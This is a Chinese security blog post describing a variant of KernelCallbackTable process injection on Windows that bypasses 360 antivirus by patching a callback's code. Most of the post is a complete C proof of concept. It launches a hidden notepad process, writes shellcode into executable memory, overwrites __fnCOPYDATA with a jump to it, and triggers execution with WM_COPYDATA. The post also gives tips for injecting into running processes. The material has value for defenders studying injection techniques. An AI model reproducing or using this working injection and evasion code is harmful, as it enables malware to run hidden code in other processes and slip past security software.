KernelCallbackTable注入方法的修改方案

admin 2022年12月14日02:29:31评论166 views字数 11850阅读39分30秒阅读模式

背景知识

众所周知,xp以后的系统,ring3进ring0的方法是通过系统快速调用也就是sysenter/sysexit或syscall/sysret实现的,而与之类似的,NT 4.0开始,微软将之前纯ring3实现的图形部分的大部分接口整理移植到了Win32k.sys这个知名屎山之中,但是由于仍然有部分组件功能保留在ring3,所以需要一个ring0调用ring3的方法。

NTSTATUS KeUserModeCallback (    IN ULONG ApiNumber,    IN PVOID InputBuffer,    IN ULONG InputLength,    OUT PVOID *OutputBuffer,    IN PULONG OutputLength    );

所以ntoskrnl.exe导出了如上的函数,其处理堆栈并将执行传递到ntdll.KiUserCallbackDispatcher函数,然后再根据调度表转发至ring3的回调中,最后通过NtCallbackReturn或者KiCallbackReturn(INT 2D)回到ring0。

今天文章里一个最核心用到的就是这个调度表,也就是KERNELCALLBACKTABLE。在User32.dll的入口user32!UserClientDllInitialize处,会初始化这个结构,并将这个结构保存在进程的PEB中。

注入

这个方法在外挂行业以及使用了很多年,首次应用于恶意软件方向大概是FinFisher的攻击中,其后odzhan公开了他制作的poc,在此之后,这个注入方法就越来越常见了。

简单的测试后可以发现,360会拦截这个注入方法,确切地说是拦截了PEB中KernelCallbackTable的修改。可以说,这种拦截不痛不痒,是很好绕过的。

比较简单的办法就是直接将修改peb中KernelCallbackTable,改为获取现有KernelCallbackTable中某一回调地址,直接覆盖修改该地址内存即可,如果设计为spawn则无需恢复,想要inject就提取读取原内存进行备份和修复即可

代码

修改过于简单,就直接放代码吧,应该很好理解。此处仅展示x64下使用牺牲进程加载shellcode的demo

#include <Windows.h>#include <stdio.h>
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING;
typedef struct _KERNELCALLBACKTABLE_T { ULONG_PTR __fnCOPYDATA; ULONG_PTR __fnCOPYGLOBALDATA; ULONG_PTR __fnDWORD; ULONG_PTR __fnNCDESTROY; ULONG_PTR __fnDWORDOPTINLPMSG; ULONG_PTR __fnINOUTDRAG; ULONG_PTR __fnGETTEXTLENGTHS; ULONG_PTR __fnINCNTOUTSTRING; ULONG_PTR __fnPOUTLPINT; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT; ULONG_PTR __fnINLPCREATESTRUCT; ULONG_PTR __fnINLPDELETEITEMSTRUCT; ULONG_PTR __fnINLPDRAWITEMSTRUCT; ULONG_PTR __fnPOPTINLPUINT; ULONG_PTR __fnPOPTINLPUINT2; ULONG_PTR __fnINLPMDICREATESTRUCT; ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT; ULONG_PTR __fnINLPWINDOWPOS; ULONG_PTR __fnINOUTLPPOINT5; ULONG_PTR __fnINOUTLPSCROLLINFO; ULONG_PTR __fnINOUTLPRECT; ULONG_PTR __fnINOUTNCCALCSIZE; ULONG_PTR __fnINOUTLPPOINT5_; ULONG_PTR __fnINPAINTCLIPBRD; ULONG_PTR __fnINSIZECLIPBRD; ULONG_PTR __fnINDESTROYCLIPBRD; ULONG_PTR __fnINSTRING; ULONG_PTR __fnINSTRINGNULL; ULONG_PTR __fnINDEVICECHANGE; ULONG_PTR __fnPOWERBROADCAST; ULONG_PTR __fnINLPUAHDRAWMENU; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD; ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_; ULONG_PTR __fnOUTDWORDINDWORD; ULONG_PTR __fnOUTLPRECT; ULONG_PTR __fnOUTSTRING; ULONG_PTR __fnPOPTINLPUINT3; ULONG_PTR __fnPOUTLPINT2; ULONG_PTR __fnSENTDDEMSG; ULONG_PTR __fnINOUTSTYLECHANGE; ULONG_PTR __fnHkINDWORD; ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT; ULONG_PTR __fnHkINLPCBTCREATESTRUCT; ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX; ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT; ULONG_PTR __fnHkINLPMSG; ULONG_PTR __fnHkINLPRECT; ULONG_PTR __fnHkOPTINLPEVENTMSG; ULONG_PTR __xxxClientCallDelegateThread; ULONG_PTR __ClientCallDummyCallback; ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT; ULONG_PTR __fnOUTLPCOMBOBOXINFO; ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2; ULONG_PTR __xxxClientCallDevCallbackCapture; ULONG_PTR __xxxClientCallDitThread; ULONG_PTR __xxxClientEnableMMCSS; ULONG_PTR __xxxClientUpdateDpi; ULONG_PTR __xxxClientExpandStringW; ULONG_PTR __ClientCopyDDEIn1; ULONG_PTR __ClientCopyDDEIn2; ULONG_PTR __ClientCopyDDEOut1; ULONG_PTR __ClientCopyDDEOut2; ULONG_PTR __ClientCopyImage; ULONG_PTR __ClientEventCallback; ULONG_PTR __ClientFindMnemChar; ULONG_PTR __ClientFreeDDEHandle; ULONG_PTR __ClientFreeLibrary; ULONG_PTR __ClientGetCharsetInfo; ULONG_PTR __ClientGetDDEFlags; ULONG_PTR __ClientGetDDEHookData; ULONG_PTR __ClientGetListboxString; ULONG_PTR __ClientGetMessageMPH; ULONG_PTR __ClientLoadImage; ULONG_PTR __ClientLoadLibrary; ULONG_PTR __ClientLoadMenu; ULONG_PTR __ClientLoadLocalT1Fonts; ULONG_PTR __ClientPSMTextOut; ULONG_PTR __ClientLpkDrawTextEx; ULONG_PTR __ClientExtTextOutW; ULONG_PTR __ClientGetTextExtentPointW; ULONG_PTR __ClientCharToWchar; ULONG_PTR __ClientAddFontResourceW; ULONG_PTR __ClientThreadSetup; ULONG_PTR __ClientDeliverUserApc; ULONG_PTR __ClientNoMemoryPopup; ULONG_PTR __ClientMonitorEnumProc; ULONG_PTR __ClientCallWinEventProc; ULONG_PTR __ClientWaitMessageExMPH; ULONG_PTR __ClientWOWGetProcModule; ULONG_PTR __ClientWOWTask16SchedNotify; ULONG_PTR __ClientImmLoadLayout; ULONG_PTR __ClientImmProcessKey; ULONG_PTR __fnIMECONTROL; ULONG_PTR __fnINWPARAMDBCSCHAR; ULONG_PTR __fnGETTEXTLENGTHS2; ULONG_PTR __fnINLPKDRAWSWITCHWND; ULONG_PTR __ClientLoadStringW; ULONG_PTR __ClientLoadOLE; ULONG_PTR __ClientRegisterDragDrop; ULONG_PTR __ClientRevokeDragDrop; ULONG_PTR __fnINOUTMENUGETOBJECT; ULONG_PTR __ClientPrinterThunk; ULONG_PTR __fnOUTLPCOMBOBOXINFO2; ULONG_PTR __fnOUTLPSCROLLBARINFO; ULONG_PTR __fnINLPUAHDRAWMENU2; ULONG_PTR __fnINLPUAHDRAWMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU3; ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM; ULONG_PTR __fnINLPUAHDRAWMENU4; ULONG_PTR __fnOUTLPTITLEBARINFOEX; ULONG_PTR __fnTOUCH; ULONG_PTR __fnGESTURE; ULONG_PTR __fnPOPTINLPUINT4; ULONG_PTR __fnPOPTINLPUINT5; ULONG_PTR __xxxClientCallDefaultInputHandler; ULONG_PTR __fnEMPTY; ULONG_PTR __ClientRimDevCallback; ULONG_PTR __xxxClientCallMinTouchHitTestingCallback; ULONG_PTR __ClientCallLocalMouseHooks; ULONG_PTR __xxxClientBroadcastThemeChange; ULONG_PTR __xxxClientCallDevCallbackSimple; ULONG_PTR __xxxClientAllocWindowClassExtraBytes; ULONG_PTR __xxxClientFreeWindowClassExtraBytes; ULONG_PTR __fnGETWINDOWDATA; ULONG_PTR __fnINOUTSTYLECHANGE2; ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;} KERNELCALLBACKTABLE;
typedef struct _PEB{ UCHAR InheritedAddressSpace; //0x0 UCHAR ReadImageFileExecOptions; //0x1 UCHAR BeingDebugged; //0x2 union { UCHAR BitField; //0x3 struct { UCHAR ImageUsesLargePages : 1; //0x3 UCHAR IsProtectedProcess : 1; //0x3 UCHAR IsImageDynamicallyRelocated : 1; //0x3 UCHAR SkipPatchingUser32Forwarders : 1; //0x3 UCHAR IsPackagedProcess : 1; //0x3 UCHAR IsAppContainer : 1; //0x3 UCHAR IsProtectedProcessLight : 1; //0x3 UCHAR IsLongPathAwareProcess : 1; //0x3 }; }; UCHAR Padding0[4]; //0x4 VOID* Mutant; //0x8 VOID* ImageBaseAddress; //0x10 struct _PEB_LDR_DATA* Ldr; //0x18 struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20 VOID* SubSystemData; //0x28 VOID* ProcessHeap; //0x30 struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38 union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 VOID* IFEOKey; //0x48 union { ULONG CrossProcessFlags; //0x50 struct { ULONG ProcessInJob : 1; //0x50 ULONG ProcessInitializing : 1; //0x50 ULONG ProcessUsingVEH : 1; //0x50 ULONG ProcessUsingVCH : 1; //0x50 ULONG ProcessUsingFTH : 1; //0x50 ULONG ProcessPreviouslyThrottled : 1; //0x50 ULONG ProcessCurrentlyThrottled : 1; //0x50 ULONG ProcessImagesHotPatched : 1; //0x50 ULONG ReservedBits0 : 24; //0x50 }; }; UCHAR Padding1[4]; //0x54 union { VOID* KernelCallbackTable; //0x58 VOID* UserSharedInfoPtr; //0x58 }; ULONG SystemReserved; //0x60 ULONG AtlThunkSListPtr32; //0x64 VOID* ApiSetMap; //0x68 ULONG TlsExpansionCounter; //0x70 UCHAR Padding2[4]; //0x74 VOID* TlsBitmap; //0x78 ULONG TlsBitmapBits[2]; //0x80 VOID* ReadOnlySharedMemoryBase; //0x88 VOID* SharedData; //0x90 VOID** ReadOnlyStaticServerData; //0x98 VOID* AnsiCodePageData; //0xa0 VOID* OemCodePageData; //0xa8 VOID* UnicodeCaseTableData; //0xb0 ULONG NumberOfProcessors; //0xb8 ULONG NtGlobalFlag; //0xbc union _LARGE_INTEGER CriticalSectionTimeout; //0xc0 ULONGLONG HeapSegmentReserve; //0xc8 ULONGLONG HeapSegmentCommit; //0xd0 ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 ULONG NumberOfHeaps; //0xe8 ULONG MaximumNumberOfHeaps; //0xec VOID** ProcessHeaps; //0xf0 VOID* GdiSharedHandleTable; //0xf8 VOID* ProcessStarterHelper; //0x100 ULONG GdiDCAttributeList; //0x108 UCHAR Padding3[4]; //0x10c struct _RTL_CRITICAL_SECTION* LoaderLock; //0x110 ULONG OSMajorVersion; //0x118 ULONG OSMinorVersion; //0x11c USHORT OSBuildNumber; //0x120 USHORT OSCSDVersion; //0x122 ULONG OSPlatformId; //0x124 ULONG ImageSubsystem; //0x128 ULONG ImageSubsystemMajorVersion; //0x12c ULONG ImageSubsystemMinorVersion; //0x130 UCHAR Padding4[4]; //0x134 ULONGLONG ActiveProcessAffinityMask; //0x138 ULONG GdiHandleBuffer[60]; //0x140 VOID(*PostProcessInitRoutine)(); //0x230 VOID* TlsExpansionBitmap; //0x238 ULONG TlsExpansionBitmapBits[32]; //0x240 ULONG SessionId; //0x2c0 UCHAR Padding5[4]; //0x2c4 union _ULARGE_INTEGER AppCompatFlags; //0x2c8 union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 VOID* pShimData; //0x2d8 VOID* AppCompatInfo; //0x2e0 struct _UNICODE_STRING CSDVersion; //0x2e8 struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 ULONGLONG MinimumStackCommit; //0x318 struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 struct _LIST_ENTRY FlsListHead; //0x328 VOID* FlsBitmap; //0x338 ULONG FlsBitmapBits[4]; //0x340 ULONG FlsHighIndex; //0x350 VOID* WerRegistrationData; //0x358 VOID* WerShipAssertPtr; //0x360 VOID* pUnused; //0x368 VOID* pImageHeaderHash; //0x370 union { ULONG TracingFlags; //0x378 struct { ULONG HeapTracingEnabled : 1; //0x378 ULONG CritSecTracingEnabled : 1; //0x378 ULONG LibLoaderTracingEnabled : 1; //0x378 ULONG SpareTracingBits : 29; //0x378 }; }; UCHAR Padding6[4]; //0x37c ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 ULONGLONG TppWorkerpListLock; //0x388 struct _LIST_ENTRY TppWorkerpList; //0x390 VOID* WaitOnAddressHashTable[128]; //0x3a0 VOID* TelemetryCoverageHeader; //0x7a0 ULONG CloudFileFlags; //0x7a8 ULONG CloudFileDiagFlags; //0x7ac CHAR PlaceholderCompatibilityMode; //0x7b0 CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 struct _LEAP_SECOND_DATA* LeapSecondData; //0x7b8 union { ULONG LeapSecondFlags; //0x7c0 struct { ULONG SixtySecondEnabled : 1; //0x7c0 ULONG Reserved : 31; //0x7c0 }; }; ULONG NtGlobalFlag2; //0x7c4} PEB, * PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PPEB PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId;} PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS{ ProcessBasicInformation = 0, ProcessDebugPort = 7, ProcessWow64Information = 26, ProcessImageFileName = 27, ProcessBreakOnTermination = 29} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength );
int main(){ unsigned char payload[] = { 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7 }; SIZE_T payloadSize = sizeof(payload); PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(STARTUPINFO) }; COPYDATASTRUCT cds; HWND hWindow; DWORD pid; HANDLE hProcess; PROCESS_BASIC_INFORMATION pbi; pNtQueryInformationProcess myNtQueryInformationProcess; PEB peb; KERNELCALLBACKTABLE kct; LPVOID payloadAddr; char jump[12] = ""; char temphex[8] = ""; WCHAR msg[] = L"Pwn";
si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; CreateProcess(L"C:\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); WaitForInputIdle(pi.hProcess, 1000); hWindow = FindWindow(L"Notepad", NULL); GetWindowThreadProcessId(hWindow, &pid); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL); payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL); jump[0] = 0x48; jump[1] = 0xB8; *(unsigned __int64*)temphex = (unsigned __int64)payloadAddr; jump[2] = temphex[0]; jump[3] = temphex[1]; jump[4] = temphex[2]; jump[5] = temphex[3]; jump[6] = temphex[4]; jump[7] = temphex[5]; jump[8] = temphex[6]; jump[9] = temphex[7]; jump[10] = 0xFF; jump[11] = 0xE0; WriteProcessMemory(hProcess, kct.__fnCOPYDATA, jump, sizeof(jump), NULL); cds.dwData = 1; cds.cbData = lstrlen(msg) * 2; cds.lpData = msg; SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);}


注意事项

仅适用于GUI程序,更准确的说是加载了User32.dll的进程

如果想注入现有进程,记得使用后恢复原样

wow64的情况PEB需要特殊处理


原文始发于微信公众号(None安全团队):KernelCallbackTable注入方法的修改方案

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月14日02:29:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   KernelCallbackTable注入方法的修改方案https://cn-sec.com/archives/1463432.html

发表评论

匿名网友 填写信息